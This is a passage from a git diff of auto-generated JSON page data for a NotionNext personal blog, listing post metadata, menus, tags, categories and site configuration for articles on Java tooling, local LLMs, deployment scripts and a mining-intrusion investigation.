atus":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG/page/1.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG/page/1.json
new file mode 100644
index 000000000..cc782ff71
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG/page/1.json	
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若